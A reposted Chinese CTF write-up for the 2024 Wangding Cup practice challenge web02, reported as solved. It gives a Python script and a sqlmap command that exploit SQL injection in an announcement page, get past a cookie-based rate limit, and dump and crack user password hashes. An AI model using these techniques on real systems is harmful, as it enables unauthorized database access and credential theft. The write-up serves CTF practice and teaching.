0


2024-网鼎杯第二次模拟练习-web02

进入做题页面,经过信息搜集和目录扫描,发现只有一个公告是可以利用的

http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/OA_announcement.php?id=1

这个后面有一个明显的注入点,经过多次刷新和快速刷新后发现,会出现非法操作

经过探究发现,是Cookie变了,当被频繁刷新的时候,Cookie就会被禁用,就会触发非法操作。

也就意味着我们每次进行注入的时候,要么时间间隔大于1秒一次,要么每次都获取新的Cookie

这里直接上python代码

import requests
import time

while True:
    sess = requests.session()
    r = sess.get("http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/")

    x = input()

    start = time.time_ns()
    r = sess.get("http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/OA_announcement.php?id={}".format(x))
    stop = time.time_ns()
    print(r.text)
    # print(sess.headers, r.headers)
    print()
    print((stop-start)//1000//1000)
    print(x)
    print("========================================================\n")

可以通过输入来进行拼接URL,每次都是新的Cookie,这里还加了计时,方便进行时间盲注(结果发现根本用不上,部分代码可以删掉)

经过发现是需要4列,其中2,3列回显

剩下的就很简单了


idOAnamePassWordStatus22009371209bd109afc78d44da53aafe2a2f5c1a2070120093402186fbb6973fa60551e5f09d22a51fd959d132009371210ce01248197cd82fb524811d48bf3ded61
这就是用户表了,之前也说了,这是一个弱密码,如果联网情况下可以去cmd5网页进行查询,如果是本地,一般也就是6-8位数字,经过查询,用户0和3的能查到密码,用户0被封禁了,所以只能是用户3登录

轻松拿到flag

当然,这么简单的注入,也肯定要来一点sqlmap的震撼

sqlmap -u "http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/OA_announcement.php?id=1" --eval="import requests; s = requests.Session(); s.get('http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/'); cookie = '; '.join([f'{k}={v}' for k, v in s.cookies.items()])" --random-agent --delay=1 --dbs

这个可以每次保证请求间隔1秒以上顺便每次都会有个新Cookie, sqlmap的后续操作就不多做说明了,已经很震撼了

标签: ctf web 网鼎杯

本文转载自: https://blog.csdn.net/qq515973568/article/details/143253756
版权归原作者 风飘红技术中心 所有, 如有侵权,请联系我们删除。

“2024-网鼎杯第二次模拟练习-web02”的评论:

还没有评论